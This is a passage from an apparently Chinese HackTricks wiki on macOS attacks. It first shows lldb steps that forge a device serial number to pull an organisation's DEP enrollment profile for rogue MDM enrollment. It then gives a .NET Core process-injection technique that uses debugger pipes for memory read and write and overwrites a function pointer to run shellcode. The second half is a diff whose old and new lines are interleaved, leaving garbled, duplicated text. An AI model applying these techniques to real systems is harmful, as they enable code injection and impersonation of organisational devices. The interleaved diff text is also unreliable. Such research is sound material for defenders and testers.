在禁用了 SIP 之后,我们就能够继续对与 DEP API 交互的系统二进制文件进行插桩,特别是 `cloudconfigurationd` 二进制文件。因为 `cloudconfigurationd` 需要提升权限才能运行,我们需要用 `sudo` 启动 `lldb`
```
$ sudo lldb
(lldb) process attach --waitfor --name cloudconfigurationd
```
在`lldb`等待的同时,我们可以通过在另一个终端窗口运行`sudo /usr/libexec/mdmclient dep nag`来附加到`cloudconfigurationd`。一旦附加类似于以下的输出将会显示并且可以在提示符下输入LLDB命令。
```
Process 861 stopped
* thread #1, stop reason = signal SIGSTOP
<snip>
Target 0: (cloudconfigurationd) stopped.
Executable module set to "/usr/libexec/cloudconfigurationd".
Architecture set to: x86_64h-apple-macosx.
(lldb)
```
**设置设备序列号**
我们在逆向 `mdmclient``cloudconfigurationd` 时首先寻找的是负责检索系统序列号的代码,因为我们知道序列号最终负责认证设备。我们的目标是在序列号从 [`IORegistry`](https://developer.apple.com/documentation/installerjs/ioregistry) 检索后,在内存中修改它,并在 `cloudconfigurationd` 构建 `macProfile` 负载时使用该序列号。
尽管 `cloudconfigurationd` 最终负责与 DEP API 通信,我们还调查了系统序列号是否在 `mdmclient` 中直接检索或使用。下面显示的检索到的序列号并非发送到 DEP API 的序列号,但它确实揭示了一个硬编码的序列号,如果启用了特定配置选项,则会使用该序列号。
```
int sub_10002000f() {
if (sub_100042b6f() != 0x0) {
r14 = @"2222XXJREUF";
}
else {
rax = IOServiceMatching("IOPlatformExpertDevice");
rax = IOServiceGetMatchingServices(*(int32_t *)*_kIOMasterPortDefault, rax, &var_2C);
<snip>
}
rax = r14;
return rax;
}
```
系统序列号从[`IORegistry`](https://developer.apple.com/documentation/installerjs/ioregistry)检索,除非`sub_10002000f`的返回值非零在这种情况下它被设置为静态字符串“2222XXJREUF”。检查该函数后看起来它似乎用于检查“服务器压力测试模式”是否启用。
```
void sub_1000321ca(void * _block) {
if (sub_10002406f() != 0x0) {
*(int8_t *)0x100097b68 = 0x1;
sub_10000b3de(@"Server stress test mode enabled", rsi, rdx, rcx, r8, r9, stack[0]);
}
return;
}
```
我们记录了“服务器压力测试模式”的存在但没有进一步探索因为我们的目标是修改呈现给DEP API的序列号。相反我们测试了修改`r14`寄存器指向的序列号是否足以检索不属于我们正在测试的机器的_激活记录_。
接下来,我们研究了系统序列号在`cloudconfigurationd`中是如何检索的。
```
int sub_10000c100(int arg0, int arg1, int arg2, int arg3) {
var_50 = arg3;
r12 = arg2;
r13 = arg1;
r15 = arg0;
rbx = IOServiceGetMatchingService(*(int32_t *)*_kIOMasterPortDefault, IOServiceMatching("IOPlatformExpertDevice"));
r14 = 0xffffffffffff541a;
if (rbx != 0x0) {
rax = sub_10000c210(rbx, @"IOPlatformSerialNumber", 0x0, &var_30, &var_34);
r14 = rax;
<snip>
}
rax = r14;
return rax;
}
```
如上所述,序列号也可以从 [`IORegistry`](https://developer.apple.com/documentation/installerjs/ioregistry) 中的 `cloudconfigurationd` 获取。
使用 `lldb`,我们能够通过为 `IOServiceGetMatchingService` 设置断点,并创建一个包含任意序列号的新字符串变量,然后重写 `r14` 寄存器,使其指向我们创建的变量的内存地址,从而修改从 [`IORegistry`](https://developer.apple.com/documentation/installerjs/ioregistry) 检索到的序列号。
```
(lldb) breakpoint set -n IOServiceGetMatchingService
# Run `sudo /usr/libexec/mdmclient dep nag` in a separate Terminal window.
(lldb) process attach --waitfor --name cloudconfigurationd
Process 2208 stopped
* thread #2, queue = 'com.apple.NSXPCListener.service.com.apple.ManagedClient.cloudconfigurationd',
stop reason = instruction step over frame #0: 0x000000010fd824d8
cloudconfigurationd`___lldb_unnamed_symbol2$$cloudconfigurationd + 73
cloudconfigurationd`___lldb_unnamed_symbol2$$cloudconfigurationd:
-> 0x10fd824d8 <+73>: movl %ebx, %edi
0x10fd824da <+75>: callq 0x10ffac91e ; symbol stub for: IOObjectRelease
0x10fd824df <+80>: testq %r14, %r14
0x10fd824e2 <+83>: jne 0x10fd824e7 ; <+88>
Target 0: (cloudconfigurationd) stopped.
(lldb) continue # Will hit breakpoint at `IOServiceGetMatchingService`
# Step through the program execution by pressing 'n' a bunch of times and
# then 'po $r14' until we see the serial number.
(lldb) n
(lldb) po $r14
C02JJPPPQQQRR # The system serial number retrieved from the `IORegistry`
# Create a new variable containing an arbitrary serial number and print the memory address.
(lldb) p/x @"C02XXYYZZNNMM"
(__NSCFString *) $79 = 0x00007fb6d7d05850 @"C02XXYYZZNNMM"
# Rewrite the `r14` register to point to our new variable.
(lldb) register write $r14 0x00007fb6d7d05850
(lldb) po $r14
# Confirm that `r14` contains the new serial number.
C02XXYYZZNNMM
```
虽然我们成功地修改了从[`IORegistry`](https://developer.apple.com/documentation/installerjs/ioregistry)检索到的序列号,但`macProfile`有效载荷仍然包含系统序列号,而不是我们写入`r14`寄存器的那个。
**利用在JSON序列化之前修改配置请求字典**
接下来,我们尝试了另一种设置`macProfile`有效载荷中发送的序列号的方法。这次,我们没有修改通过[`IORegistry`](https://developer.apple.com/documentation/installerjs/ioregistry)检索到的系统序列号而是试图找到代码中序列号仍然是明文的最接近点在被Absinthe`NACSign`)签名之前。最佳的查看点似乎是`-[MCTeslaConfigurationFetcher startConfigurationFetch]`,它大致执行以下步骤:
* 创建一个新的`NSMutableData`对象
* 调用`[MCTeslaConfigurationFetcher setConfigurationData:]`,传递新的`NSMutableData`对象
* 调用`[MCTeslaConfigurationFetcher profileRequestDictionary]`,它返回一个包含两个键值对的`NSDictionary`对象:
* `sn`:系统序列号
* `action`:要执行的远程操作(以`sn`作为其参数)
* 调用`[NSJSONSerialization dataWithJSONObject:]`,传递`profileRequestDictionary`的`NSDictionary`
* 使用Absinthe`NACSign`签名JSON有效载荷
* 对签名的JSON有效载荷进行Base64编码
* 设置HTTP方法为`POST`
* 设置HTTP正文为Base64编码的签名JSON有效载荷
* 设置`X-Profile-Protocol-Version` HTTP头为`1`
* 设置`User-Agent` HTTP头为`ConfigClient-1.0`
* 使用`[NSURLConnection alloc] initWithRequest:delegate:startImmediately:]`方法执行HTTP请求
然后在转换为JSON之前我们修改了从`profileRequestDictionary`返回的`NSDictionary`对象。为此,在`dataWithJSONObject`上设置了一个断点,以便尽可能接近尚未转换的数据。断点成功,当我们打印我们通过反汇编知道的寄存器的内容(`rdx`)时,我们得到了我们期望看到的结果。
```
po $rdx
{
action = RequestProfileConfiguration;
sn = C02XXYYZZNNMM;
}
```
上面是由 `[MCTeslaConfigurationFetcher profileRequestDictionary]` 返回的 `NSDictionary` 对象的美化打印表示。我们的下一个挑战是修改包含序列号的内存中的 `NSDictionary`
```
(lldb) breakpoint set -r "dataWithJSONObject"
# Run `sudo /usr/libexec/mdmclient dep nag` in a separate Terminal window.
(lldb) process attach --name "cloudconfigurationd" --waitfor
Process 3291 stopped
* thread #1, queue = 'com.apple.main-thread', stop reason = breakpoint 1.1
frame #0: 0x00007fff2e8bfd8f Foundation`+[NSJSONSerialization dataWithJSONObject:options:error:]
Target 0: (cloudconfigurationd) stopped.
# Hit next breakpoint at `dataWithJSONObject`, since the first one isn't where we need to change the serial number.
(lldb) continue
# Create a new variable containing an arbitrary `NSDictionary` and print the memory address.
(lldb) p/x (NSDictionary *)[[NSDictionary alloc] initWithObjectsAndKeys:@"C02XXYYZZNNMM", @"sn",
@"RequestProfileConfiguration", @"action", nil]
(__NSDictionaryI *) $3 = 0x00007ff068c2e5a0 2 key/value pairs
# Confirm that `rdx` contains the new `NSDictionary`.
po $rdx
{
action = RequestProfileConfiguration;
sn = <new_serial_number>
}
```
上面的列表执行以下操作:
* 为 `dataWithJSONObject` 选择器创建一个常规表达式断点
* 等待 `cloudconfigurationd` 进程启动,然后附加到它
* 继续执行程序(因为我们遇到的第一个 `dataWithJSONObject` 的断点不是在 `profileRequestDictionary` 上调用的)
* 创建并打印(由于 `/x` 而以十六进制格式)我们任意 `NSDictionary` 的结果
* 由于我们已经知道所需键的名称,我们可以简单地将序列号设置为我们选择的 `sn`,并保持操作不变
* 创建这个新 `NSDictionary` 的结果的打印输出告诉我们,在特定内存位置有两个键值对
我们的最后一步是重复相同的步骤,将我们自定义 `NSDictionary` 对象的内存位置写入 `rdx`,该对象包含我们选择的序列号:
```
(lldb) register write $rdx 0x00007ff068c2e5a0 # Rewrite the `rdx` register to point to our new variable
(lldb) continue
```
```markdown
这将 `rdx` 寄存器指向我们新的 `NSDictionary`,就在它被序列化为 [JSON](https://www.json.org) 并 `POST`_iprofiles.apple.com/macProfile_ 之前,然后 `continue` 程序流。
在序列化为 JSON 之前修改配置文件请求字典中的序列号的这种方法奏效了。使用已知良好的 DEP 注册的苹果序列号替换 (null) 时,`ManagedClient` 的调试日志显示了该设备的完整 DEP 配置文件:
```
```
Apr 4 16:21:35[660:1]:+CPFetchActivationRecord fetched configuration:
{
AllowPairing = 1;
AnchorCertificates = (
);
AwaitDeviceConfigured = 0;
ConfigurationURL = "https://some.url/cloudenroll";
IsMDMUnremovable = 1;
IsMandatory = 1;
IsSupervised = 1;
OrganizationAddress = "Org address";
OrganizationAddressLine1 = "More address";
OrganizationAddressLine2 = NULL;
OrganizationCity = A City;
OrganizationCountry = US;
OrganizationDepartment = "Org Dept";
OrganizationEmail = "dep.management@org.url";
OrganizationMagic = <unique string>;
OrganizationName = "ORG NAME";
OrganizationPhone = "+1551234567";
OrganizationSupportPhone = "+15551235678";
OrganizationZipCode = "ZIPPY";
SkipSetup = (
AppleID,
Passcode,
Zoom,
Biometric,
Payment,
TOS,
TapToSetup,
Diagnostics,
HomeButtonSensitivity,
Android,
Siri,
DisplayTone,
ScreenSaver
);
SupervisorHostCertificates = (
);
}
```
仅需几个`lldb`命令我们就可以成功插入一个任意序列号并获取一个包含各种组织特定数据的DEP配置文件包括组织的MDM注册URL。如讨论所述这个注册URL可以用来注册一个恶意设备现在我们知道了它的序列号。其他数据可以用来社会工程学地注册一个恶意设备。一旦注册设备就可以接收任意数量的证书、配置文件、应用程序、VPN配置等。
### 使用Python自动化`cloudconfigurationd`工具的操作
一旦我们有了使用序列号检索有效DEP配置文件的初步概念验证我们就开始自动化这个过程以展示攻击者可能如何滥用这种认证弱点。
幸运的是LLDB API可以通过[脚本桥接接口](https://lldb.llvm.org/python-reference.html)在Python中使用。在安装了[Xcode命令行工具](https://developer.apple.com/download/more/)的macOS系统上可以如下导入`lldb` Python模块
```
import lldb
```
```markdown
这使我们能够相对容易地编写一个概念验证脚本演示如何插入一个已注册DEP的序列号并收到一个有效的DEP配置文件作为回应。我们开发的PoC接受一个由换行符分隔的序列号列表并将它们注入到`cloudconfigurationd`进程中以检查DEP配置文件。
![Charles SSL代理设置。](https://duo.com/img/asset/aW1nL2xhYnMvcmVzZWFyY2gvaW1nL2NoYXJsZXNfc3NsX3Byb3h5aW5nX3NldHRpbmdzLnBuZw==?w=800\&fit=contain\&s=d1c9216716bf619e7e10e45c9968f83b)
![DEP通知。](https://duo.com/img/asset/aW1nL2xhYnMvcmVzZWFyY2gvaW1nL2RlcF9ub3RpZmljYXRpb24ucG5n?w=800\&fit=contain\&s=4f7b95efd02245f9953487dcaac6a961)
### 影响
有多种情况下苹果的设备注册计划可能被滥用导致暴露组织的敏感信息。最明显的两种情况涉及获取设备所属组织的信息这可以从DEP配置文件中检索到。第二种是使用这些信息执行恶意DEP和MDM注册。下面将进一步讨论这些情况。
#### 信息泄露
如前所述DEP注册过程的一部分涉及从DEP API请求并接收一个_激活记录_或DEP配置文件。通过提供一个有效的、已注册DEP的系统序列号我们能够检索以下信息根据macOS版本要么打印到`stdout`,要么写入`ManagedClient`日志)。
```
```
Activation record: {
AllowPairing = 1;
AnchorCertificates = (
<array_of_der_encoded_certificates>
);
AwaitDeviceConfigured = 0;
ConfigurationURL = "https://example.com/enroll";
IsMDMUnremovable = 1;
IsMandatory = 1;
IsSupervised = 1;
OrganizationAddress = "123 Main Street, Anywhere, , 12345 (USA)";
OrganizationAddressLine1 = "123 Main Street";
OrganizationAddressLine2 = NULL;
OrganizationCity = Anywhere;
OrganizationCountry = USA;
OrganizationDepartment = "IT";
OrganizationEmail = "dep@example.com";
OrganizationMagic = 105CD5B18CE24784A3A0344D6V63CD91;
OrganizationName = "Example, Inc.";
OrganizationPhone = "+15555555555";
OrganizationSupportPhone = "+15555555555";
OrganizationZipCode = "12345";
SkipSetup = (
<array_of_setup_screens_to_skip>
);
SupervisorHostCertificates = (
);
}
```
虽然某些组织的部分信息可能是公开可用的但拥有组织设备的序列号以及从DEP配置文件中获得的信息可以用来对组织的服务台或IT团队进行各种社会工程攻击例如请求密码重置或帮助将设备注册到公司的MDM服务器。
#### 恶意DEP注册
[Apple MDM协议](https://developer.apple.com/enterprise/documentation/MDM-Protocol-Reference.pdf)支持通过[HTTP基本认证](https://en.wikipedia.org/wiki/Basic\_access\_authentication)进行MDM注册前的用户认证但并不要求。**如果没有认证通过DEP在MDM服务器上注册设备所需的只是一个有效的、已注册DEP的序列号**。因此,攻击者如果获得了这样一个序列号(无论是通过[OSINT](https://en.wikipedia.org/wiki/Open-source\_intelligence)、社会工程还是暴力破解只要该设备当前没有在MDM服务器上注册就能够将自己的设备注册为组织所拥有的设备。本质上如果攻击者能够在真正的设备之前启动DEP注册他们就能够假冒该设备的身份。
组织可以 - 也确实在 - 利用MDM部署敏感信息如设备和用户证书、VPN配置数据、注册代理、配置文件以及各种其他内部数据和组织机密。此外一些组织选择不要求用户在MDM注册过程中进行认证。这有各种好处如更好的用户体验以及不必[将内部认证服务器暴露给MDM服务器来处理在企业网络外进行的MDM注册](https://docs.simplemdm.com/article/93-ldap-authentication-with-apple-dep)。
然而当利用DEP来引导MDM注册时这就出现了一个问题因为攻击者将能够将其选择的任何端点注册到组织的MDM服务器。此外一旦攻击者成功地将其选择的端点注册到MDM他们可能获得特权访问权限这可以用来进一步在网络内部进行渗透。
<details>
<summary><strong>从零开始学习AWS黑客攻击成为</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong></strong></summary>
支持HackTricks的其他方式
* 如果您希望在**HackTricks**中看到您的**公司广告**或**下载HackTricks的PDF**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)
* 获取[**官方PEASS & HackTricks商品**](https://peass.creator-spring.com)
* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家的[**NFTs系列**](https://opensea.io/collection/the-peass-family)
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram群组**](https://t.me/peass) 或在 **Twitter** 🐦 上**关注**我 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
</details>

View file

@ -1,204 +1,115 @@
# macOS .Net 应用程序注入 # macOS .Net应用程序注入
<details> <details>
<summary><strong>从零开始学习 AWS 黑客技术,成为</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS 红队专家)</strong></a><strong></strong></summary> <summary><strong>从零开始学习AWS黑客技术成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS红队专家</strong></a><strong></strong></summary>
支持 HackTricks 的其他方式: 支持HackTricks的其他方式
* 如果您想在 HackTricks 中看到您的**公司广告**或**下载 HackTricks 的 PDF 版本**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop) - 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 获取[**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com) - 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
* 发现[**PEASS 家族**](https://opensea.io/collection/the-peass-family),我们独家的[**NFT 集合**](https://opensea.io/collection/the-peass-family) - 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家[NFTs](https://opensea.io/collection/the-peass-family)收藏品
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram 群组**](https://t.me/peass) 或在 **Twitter** 🐦 上**关注**我 [**@carlospolopm**](https://twitter.com/carlospolopm)**。** - **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **关注**我的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享您的黑客技巧。 - 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
</details> </details>
## .NET Core 调试 <a href="#net-core-debugging" id="net-core-debugging"></a> **这是文章[https://blog.xpnsec.com/macos-injection-via-third-party-frameworks/](https://blog.xpnsec.com/macos-injection-via-third-party-frameworks/)的摘要。请查看获取更多详细信息!**
## .NET Core调试 <a href="#net-core-debugging" id="net-core-debugging"></a>
### **建立调试会话** <a href="#net-core-debugging" id="net-core-debugging"></a> ### **建立调试会话** <a href="#net-core-debugging" id="net-core-debugging"></a>
[**dbgtransportsession.cpp**](https://github.com/dotnet/runtime/blob/0633ecfb79a3b2f1e4c098d1dd0166bc1ae41739/src/coreclr/debug/shared/dbgtransportsession.cpp) 负责处理调试器到被调试者的**通信**。\ 在.NET中调试器和被调试程序之间的通信由[**dbgtransportsession.cpp**](https://github.com/dotnet/runtime/blob/0633ecfb79a3b2f1e4c098d1dd0166bc1ae41739/src/coreclr/debug/shared/dbgtransportsession.cpp)管理。该组件为每个.NET进程设置两个命名管道如[dbgtransportsession.cpp#L127](https://github.com/dotnet/runtime/blob/0633ecfb79a3b2f1e4c098d1dd0166bc1ae41739/src/coreclr/debug/shared/dbgtransportsession.cpp#L127)中所示,这些管道通过[twowaypipe.cpp#L27](https://github.com/dotnet/runtime/blob/0633ecfb79a3b2f1e4c098d1dd0166bc1ae41739/src/coreclr/debug/debug-pal/unix/twowaypipe.cpp#L27)启动。这些管道的后缀分别为**`-in`**和**`-out`**。
它通过调用 [twowaypipe.cpp#L27](https://github.com/dotnet/runtime/blob/0633ecfb79a3b2f1e4c098d1dd0166bc1ae41739/src/coreclr/debug/debug-pal/unix/twowaypipe.cpp#L27) 在 [dbgtransportsession.cpp#L127](https://github.com/dotnet/runtime/blob/0633ecfb79a3b2f1e4c098d1dd0166bc1ae41739/src/coreclr/debug/shared/dbgtransportsession.cpp#L127) 创建每个 .Net 进程的两个命名管道(一个以 **`-in`** 结尾,另一个以 **`-out`** 结尾,其余名称相同)。
因此,如果您转到用户的 **`$TMPDIR`**,您将能够找到可以用来调试 .Net 应用程序的**调试 fifo** 通过访问用户的**`$TMPDIR`**,可以找到用于调试.Net应用程序的调试FIFO。
<figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure> [**DbgTransportSession::TransportWorker**](https://github.com/dotnet/runtime/blob/0633ecfb79a3b2f1e4c098d1dd0166bc1ae41739/src/coreclr/debug/shared/dbgtransportsession.cpp#L1259)负责管理来自调试器的通信。要启动新的调试会话,调试器必须通过以`MessageHeader`结构开头的`out`管道发送消息,详细信息请参阅.NET源代码
函数 [**DbgTransportSession::TransportWorker**](https://github.com/dotnet/runtime/blob/0633ecfb79a3b2f1e4c098d1dd0166bc1ae41739/src/coreclr/debug/shared/dbgtransportsession.cpp#L1259) 将处理来自调试器的通信。
调试器需要做的第一件事是**创建一个新的调试会话**。这是通过**通过 `out` 管道发送消息**来完成的,消息以 `MessageHeader` 结构开始,我们可以从 .NET 源代码中获取:
```c ```c
struct MessageHeader struct MessageHeader {
{ MessageType m_eType; // Message type
MessageType m_eType; // Type of message this is DWORD m_cbDataBlock; // Size of following data block (can be zero)
DWORD m_cbDataBlock; // Size of data block that immediately follows this header (can be zero) DWORD m_dwId; // Message ID from sender
DWORD m_dwId; // Message ID assigned by the sender of this message DWORD m_dwReplyId; // Reply-to Message ID
DWORD m_dwReplyId; // Message ID that this is a reply to (used by messages such as MT_GetDCB) DWORD m_dwLastSeenId; // Last seen Message ID by sender
DWORD m_dwLastSeenId; // Message ID last seen by sender (receiver can discard up to here from send queue) DWORD m_dwReserved; // Reserved for future (initialize to zero)
DWORD m_dwReserved; // Reserved for future expansion (must be initialized to zero and
// never read)
union { union {
struct { struct {
DWORD m_dwMajorVersion; // Protocol version requested/accepted DWORD m_dwMajorVersion; // Requested/accepted protocol version
DWORD m_dwMinorVersion; DWORD m_dwMinorVersion;
} VersionInfo; } VersionInfo;
... ...
} TypeSpecificData; } TypeSpecificData;
BYTE m_sMustBeZero[8]; BYTE m_sMustBeZero[8];
} }
``` ```
在新会话请求的情况下,此结构体按如下方式填充 要请求一个新会话,需要按照以下方式填充这个结构,将消息类型设置为 `MT_SessionRequest`,将协议版本设置为当前版本
```c ```c
static const DWORD kCurrentMajorVersion = 2; static const DWORD kCurrentMajorVersion = 2;
static const DWORD kCurrentMinorVersion = 0; static const DWORD kCurrentMinorVersion = 0;
// Set the message type (in this case, we're establishing a session) // Configure the message type and version
sSendHeader.m_eType = MT_SessionRequest; sSendHeader.m_eType = MT_SessionRequest;
// Set the version
sSendHeader.TypeSpecificData.VersionInfo.m_dwMajorVersion = kCurrentMajorVersion; sSendHeader.TypeSpecificData.VersionInfo.m_dwMajorVersion = kCurrentMajorVersion;
sSendHeader.TypeSpecificData.VersionInfo.m_dwMinorVersion = kCurrentMinorVersion; sSendHeader.TypeSpecificData.VersionInfo.m_dwMinorVersion = kCurrentMinorVersion;
// Finally set the number of bytes which follow this header
sSendHeader.m_cbDataBlock = sizeof(SessionRequestData); sSendHeader.m_cbDataBlock = sizeof(SessionRequestData);
``` ```
构建完成后,我们使用 `write` 系统调用**将其发送给目标** 这个标头随后使用`write`系统调用发送到目标接着是包含会话GUID的`sessionRequestData`结构体
```c ```c
write(wr, &sSendHeader, sizeof(MessageHeader)); write(wr, &sSendHeader, sizeof(MessageHeader));
```
遵循我们的标题,我们需要发送一个 `sessionRequestData` 结构体,其中包含一个 GUID 来识别我们的会话:
```c
// All '9' is a GUID.. right??
memset(&sDataBlock.m_sSessionID, 9, sizeof(SessionRequestData)); memset(&sDataBlock.m_sSessionID, 9, sizeof(SessionRequestData));
// Send over the session request data
write(wr, &sDataBlock, sizeof(SessionRequestData)); write(wr, &sDataBlock, sizeof(SessionRequestData));
``` ```
在发送我们的会话请求后,我们**从`out`管道读取一个头部**,该头部将指示我们的请求是否成功地建立了一个调试器会话: 读取`out`管道上的操作确认了调试会话建立的成功或失败:
```c ```c
read(rd, &sReceiveHeader, sizeof(MessageHeader)); read(rd, &sReceiveHeader, sizeof(MessageHeader));
``` ```
### 读取内存 ## 读取内存
一旦建立了调试会话,就可以使用[`MT_ReadMemory`](https://github.com/dotnet/runtime/blob/f3a45a91441cf938765bafc795cbf4885cad8800/src/coreclr/src/debug/shared/dbgtransportsession.cpp#L1896)消息类型来读取内存。readMemory函数进行了详细说明执行了发送读取请求和检索响应的必要步骤
在建立了调试会话后,可以使用消息类型 [`MT_ReadMemory`](https://github.com/dotnet/runtime/blob/f3a45a91441cf938765bafc795cbf4885cad8800/src/coreclr/src/debug/shared/dbgtransportsession.cpp#L1896) 来**读取内存**。要读取一些内存,主要需要的代码将是:
```c ```c
bool readMemory(void *addr, int len, unsigned char **output) { bool readMemory(void *addr, int len, unsigned char **output) {
// Allocation and initialization
*output = (unsigned char *)malloc(len); ...
if (*output == NULL) { // Write header and read response
return false; ...
} // Read the memory from the debuggee
...
sSendHeader.m_dwId++; // We increment this for each request
sSendHeader.m_dwLastSeenId = sReceiveHeader.m_dwId; // This needs to be set to the ID of our previous response
sSendHeader.m_dwReplyId = sReceiveHeader.m_dwId; // Similar to above, this indicates which ID we are responding to
sSendHeader.m_eType = MT_ReadMemory; // The type of request we are making
sSendHeader.TypeSpecificData.MemoryAccess.m_pbLeftSideBuffer = (PBYTE)addr; // Address to read from
sSendHeader.TypeSpecificData.MemoryAccess.m_cbLeftSideBuffer = len; // Number of bytes to write
sSendHeader.m_cbDataBlock = 0;
// Write the header
if (write(wr, &sSendHeader, sizeof(sSendHeader)) < 0) {
return false;
}
// Read the response header
if (read(rd, &sReceiveHeader, sizeof(sSendHeader)) < 0) {
return false;
}
// Make sure that memory could be read before we attempt to read further
if (sReceiveHeader.TypeSpecificData.MemoryAccess.m_hrResult != 0) {
return false;
}
memset(*output, 0, len);
// Read the memory from the debugee
if (read(rd, *output, sReceiveHeader.m_cbDataBlock) < 0) {
return false;
}
return true; return true;
} }
``` ```
概念验证POC代码可在[此处](https://gist.github.com/xpn/95eefc14918998853f6e0ab48d9f7b0b)找到。 完整的概念验证POC可以在[这里](https://gist.github.com/xpn/95eefc14918998853f6e0ab48d9f7b0b)找到。
### 写内存 ## 写入内存
同样,可以使用`writeMemory`函数来写入内存。该过程涉及将消息类型设置为`MT_WriteMemory`,指定数据的地址和长度,然后发送数据:
```c ```c
bool writeMemory(void *addr, int len, unsigned char *input) { bool writeMemory(void *addr, int len, unsigned char *input) {
// Increment IDs, set message type, and specify memory location
sSendHeader.m_dwId++; // We increment this for each request ...
sSendHeader.m_dwLastSeenId = sReceiveHeader.m_dwId; // This needs to be set to the ID of our previous response // Write header and data, then read the response
sSendHeader.m_dwReplyId = sReceiveHeader.m_dwId; // Similar to above, this indicates which ID we are responding to ...
sSendHeader.m_eType = MT_WriteMemory; // The type of request we are making // Confirm memory write was successful
sSendHeader.TypeSpecificData.MemoryAccess.m_pbLeftSideBuffer = (PBYTE)addr; // Address to write to ...
sSendHeader.TypeSpecificData.MemoryAccess.m_cbLeftSideBuffer = len; // Number of bytes to write
sSendHeader.m_cbDataBlock = len;
// Write the header
if (write(wr, &sSendHeader, sizeof(sSendHeader)) < 0) {
return false;
}
// Write the data
if (write(wr, input, len) < 0) {
return false;
}
// Read the response header
if (read(rd, &sReceiveHeader, sizeof(sSendHeader)) < 0) {
return false;
}
// Ensure our memory write was successful
if (sReceiveHeader.TypeSpecificData.MemoryAccess.m_hrResult != 0) {
return false;
}
return true; return true;
} }
``` ```
POC 代码可以在[这里](https://gist.github.com/xpn/7c3040a7398808747e158a25745380a5)找到 关联的POC在[这里](https://gist.github.com/xpn/7c3040a7398808747e158a25745380a5)。
### .NET Core 代码执行 <a href="#net-core-code-execution" id="net-core-code-execution"></a> ## .NET Core代码执行 <a href="#net-core-code-execution" id="net-core-code-execution"></a>
首先要做的是例如识别一个具有 **`rwx`** 权限的内存区域来保存要运行的 shellcode。这可以很容易地完成: 要执行代码需要识别具有rwx权限的内存区域可以使用vmmap -pages来完成
```bash ```bash
vmmap -pages [pid] vmmap -pages [pid]
vmmap -pages 35829 | grep "rwx/rwx" vmmap -pages 35829 | grep "rwx/rwx"
``` ```
```markdown 在.NET Core中定位要覆盖的函数指针位置是必要的这可以通过针对**动态函数表DFT**来实现。这个表在[`jithelpers.h`](https://github.com/dotnet/runtime/blob/6072e4d3a7a2a1493f514cdf4be75a3d56580e84/src/coreclr/src/inc/jithelpers.h)中有详细说明被运行时用于JIT编译辅助函数。
然后,为了触发执行,需要知道存储函数指针的某个位置以便覆盖它。可以覆盖 **动态函数表DFT** 中的指针,.NET Core 运行时使用它来为 JIT 编译提供帮助函数。支持的函数指针列表可以在 [`jithelpers.h`](https://github.com/dotnet/runtime/blob/6072e4d3a7a2a1493f514cdf4be75a3d56580e84/src/coreclr/src/inc/jithelpers.h) 中找到。
在 x64 版本中,使用 mimikatz 式的 **签名搜索** 技术来搜索 **`libcorclr.dll`** 中对符号 **`_hlpDynamicFuncTable`** 的引用是直接的,我们可以解引用: 对于x64系统可以使用签名搜索来找到`libcorclr.dll`中对符号`_hlpDynamicFuncTable`的引用。
<figure><img src="../../../.gitbook/assets/image (1) (3).png" alt=""><figcaption></figcaption></figure> `MT_GetDCB`调试器函数提供了有用的信息,包括一个辅助函数`m_helperRemoteStartAddr`的地址,指示了`libcorclr.dll`在进程内存中的位置。然后使用这个地址来开始搜索DFT并用shellcode的地址覆盖一个函数指针。
剩下的就是找到一个地址来开始我们的签名搜索。为此,我们利用另一个暴露的调试器函数,**`MT_GetDCB`**。这返回了目标进程的许多有用信息,但对我们来说,我们感兴趣的是返回的包含 **帮助函数地址** 的字段,**`m_helperRemoteStartAddr`**。使用这个地址,我们就知道 **`libcorclr.dll`** 在目标进程内存中的位置,我们可以开始搜索 DFT。 可以在[这里](https://gist.github.com/xpn/b427998c8b3924ab1d63c89d273734b6)找到用于注入到PowerShell的完整POC代码。
知道这个地址后,就可以用我们的 shellcode 的指针覆盖函数指针。
用于注入 PowerShell 的完整 POC 代码可以在[这里](https://gist.github.com/xpn/b427998c8b3924ab1d63c89d273734b6)找到。
## 参考资料 ## 参考资料
* 这项技术取自 [https://blog.xpnsec.com/macos-injection-via-third-party-frameworks/](https://blog.xpnsec.com/macos-injection-via-third-party-frameworks/) * [https://blog.xpnsec.com/macos-injection-via-third-party-frameworks/](https://blog.xpnsec.com/macos-injection-via-third-party-frameworks/)
<details>
<summary><strong>从零开始学习 AWS 黑客攻击直到成为专家,通过</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS 红队专家)</strong></a><strong></strong></summary>
支持 HackTricks 的其他方式:
* 如果你想在 **HackTricks** 中看到你的**公司广告**或**下载 HackTricks 的 PDF**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)
* 获取 [**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com)
